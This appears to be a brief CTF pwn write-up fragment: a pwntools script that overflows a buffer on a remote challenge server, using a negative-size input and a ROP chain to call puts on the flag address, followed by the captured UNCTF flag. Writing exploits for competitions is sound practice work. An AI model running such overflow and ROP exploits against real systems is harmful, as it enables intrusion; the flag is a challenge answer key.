image-20230711171822598

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
context(arch='amd64',os='linux')
p = remote("node.yuzhian.com.cn",34684)
p.recvuntil(b"name: \n")
p.sendline(b"120")
p.recvuntil(b"Please input size: \n")
p.send(b"\r-671231")
padding = b'a'*0x58
pop_rdi = 0x400a53
flag = 0x6010c0
puts = 0x4008BB
payload = flat(padding,pop_rdi,flag,puts)
p.sendline(payload)
p.interactive()

image-20230711171839673

flag: UNCTF{e9230acd-ece3-4991-a1fd-c2a75fb8803a}